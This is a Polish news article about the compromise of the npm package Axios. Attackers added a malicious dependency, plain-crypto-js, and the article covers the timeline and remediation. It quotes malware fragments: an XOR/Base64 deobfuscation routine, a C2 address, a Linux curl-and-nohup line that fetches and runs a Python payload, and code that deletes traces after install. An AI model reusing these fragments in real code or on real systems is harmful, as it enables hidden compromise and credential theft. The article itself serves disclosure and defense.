Axios padł ofiarą ataku na łańcuch dostaw

Axios padł ofiarą ataku na łańcuch dostaw

Niedawno branża mierzyła się z incydentem dotyczącym pakietu Litellm w PyPI, a w nocy z 30 na 31 marca hakerzy skompromitowali Axios — jeden z najczęściej używanych klientów HTTP w ekosystemie JavaScript, pobierany ponad 100 milionów razy tygodniowo i wykorzystywany w wielu projektach.

Badacze ustalili, że napastnicy opublikowali zainfekowane wersje Axios bezpośrednio w npm, omijając oficjalne repozytorium projektu na GitHubie.

Jak przebiegał atak

Atak odbył się poza standardowym procesem publikacji. Zazwyczaj Axios publikuje tagi wydań na GitHubie równolegle z publikacją w npm. W tym przypadku zainfekowane wersje [email protected] oraz [email protected] nie pojawiły się w oficjalnych tagach projektu (ostatnim oznaczonym wydaniem było v1.14.0).

Zespół Axios początkowo nie był w stanie odzyskać kontroli nad projektem, ponieważ napastnik posiadał wyższe uprawnienia dostępu. Przyczyną był wyciek długoterminowego tokena npm, używanego równolegle z zaufanymi metodami publikacji.

Chronologia zdarzeń:

  1. 18 godzin przed atakiem ktoś, używając adresu [email protected], publikuje pakiet [email protected] — kopię legalnej biblioteki crypto-js
  2. 30 marca 2026 o 23:59 UTC pojawia się złośliwa wersja [email protected], podpisana jako jasonsaayman
  3. w ciągu kolejnych 39 minut opublikowano [email protected] oraz [email protected], do których dodano tę złośliwą zależność

Każdy projekt korzystający z nielockowanych wersji (np. ^1.14.0 lub ^0.30.0) automatycznie pobierał zainfekowany pakiet przy kolejnym npm install.

Oto schemat ogólnego działania ataku:

https://socket.dev/blog/axios-npm-package-compromised
https://socket.dev/blog/axios-npm-package-compromised

Co zawierał plain-crypto-js?

Zgodnie z analizą badaczy, złośliwy kod wykorzystywał hook postinstall — oznacza to, że podczas instalacji pakietu npm automatycznie i bez widocznych oznak uruchamiał plik setup.js.

Aby utrudnić wykrycie, zastosowano dwupoziomowy mechanizm ukrywania danych: najpierw odwracano ciąg znaków, zamieniano znaki _ na =, następnie dekodowano Base64, a na końcu wykonywano operację XOR z użyciem klucza OrDeR_7077 oraz stałej 333.

const _trans_1 = function(x, r) {
  const E = r.split("").map(Number);
  return x.split("").map((x, r) => {
    const S = x.charCodeAt(0), a = E[7 * r * r % 10];
    return String.fromCharCode(S ^ a ^ 333);
  }).join("");
};
const _trans_2 = function(x, r) {
  let E = x.split("").reverse().join("").replaceAll("_", "=");
  let S = Buffer.from(E, "base64").toString("utf8");
  return _trans_1(S, r);
};
const ord = "OrDeR_7077";

Skrypt sprawdzał system operacyjny (os.platform()) i pobierał odpowiedni payload z serwera kontrolowanego przez napastników: http://sfrclak[.]com:8000/. Ruch sieciowy był maskowany jako zapytania do packages[.]npm[.]org, aby ominąć systemy monitoringu.

Na macOS skrypt AppleScript pobierał plik binarny do katalogu /Library/Caches/com.apple.act.mond, a następnie uruchamiał go w tle. Trojan zbierał informacje o systemie, procesach i katalogach, wysyłając je co 60 sekund.

W systemie Windows malware wyszukiwał powershell, kopiował go i zapisywał jako %PROGRAMDATA%\wt.exe. Następnie przy użyciu VBScript pobierany był skrypt .ps1 do katalogu %TEMP%, który był uruchamiany z parametrem -ep bypass.

W systemach Linux pobierany był skrypt Python uruchamiany w tle:

curl -o /tmp/ld.py -d packages[.]npm[.]org/product2 -s SCR_LINK && nohup python3 /tmp/ld.py SCR_LINK > /dev/null 2>&1 &

Po instalacji malware usuwało ślady swojej obecności, aby katalog node_modules wyglądał na nienaruszony:

fs.unlink(__filename, (x => {}));
fs.unlink("package.json", (x => {}));
fs.rename("package.md", "package.json", (x => {}));

W efekcie pakiet wyglądał jak standardowy, bezpieczny crypto-js, co utrudniało wykrycie zagrożenia.

Co należy zrobić?

Jeśli korzystasz z Axios, warto sprawdzić swoje projekty.

Należy zweryfikować zależności i pliki lock pod kątem obecności:

Ponieważ złośliwy kod zbierał dane systemowe, napastnicy mogli uzyskać dostęp do kluczy SSH, plików konfiguracyjnych z zapisanymi hasłami, tokenów chmurowych oraz innych wrażliwych danych.

Samo usunięcie pakietu nie jest wystarczające. Jeśli skrypt został uruchomiony, wszystkie lokalne klucze, certyfikaty i dane dostępowe należy uznać za skompromitowane, a następnie unieważnić i wygenerować ponownie.

Avatar
Mar 13, 2024

Trzech młodych ludzi stworzyło nowy model AI Devin, który może zastąpić ich pracę

Młoda firma z 10-osobowym zespołem o nazwie Cognition AI Inc.stworzyła nowy model sztucznej inteligencji Devin. 21 milionów dolarów na ten wynalazek otrzymano od firmy venture capital Founders Fund Petera Thiela i innych markowych inwestorów, w tym byłego dyrektora Twittera Elada Gila.
0
Maj 8

82% liderów uważa rok 2025 za przełomowy dla integracji AI w biznesie. Najważniejsze wnioski z raportu Microsoft

Microsoft wspólnie z LinkedIn opublikował coroczny raport Work Trend Index 2025, w którym opisano, jak sztuczna inteligencja przekształca współczesny rynek pracy. Kluczowym trendem jest pojawienie się tzw. Frontier Firms — firm, w których część zadań realizują nie ludzie, a agenci AI działający jako cyfrowi współpracownicy.
0
Kwi 13, 2023

Czterodniowy tydzień pracy dzięki ChatGPT

Profesor London School of Economics i laureat Nagrody Nobla z ekonomii Christopher Pissarides uważa, że dobrze wykorzystana sztuczna inteligencja może zwiększyć naszą produktywność w pracy.
0

Ta strona używa plików cookie, aby zapewnić Ci lepsze wrażenia podczas przeglądania.

Dowiedz się więcej o tym, jak używamy plików cookie i jak zmienić preferencje dotyczące plików cookie w naszej Polityka plików cookie.

Zmień ustawienia
Zapisz Akceptuj wszystkie cookies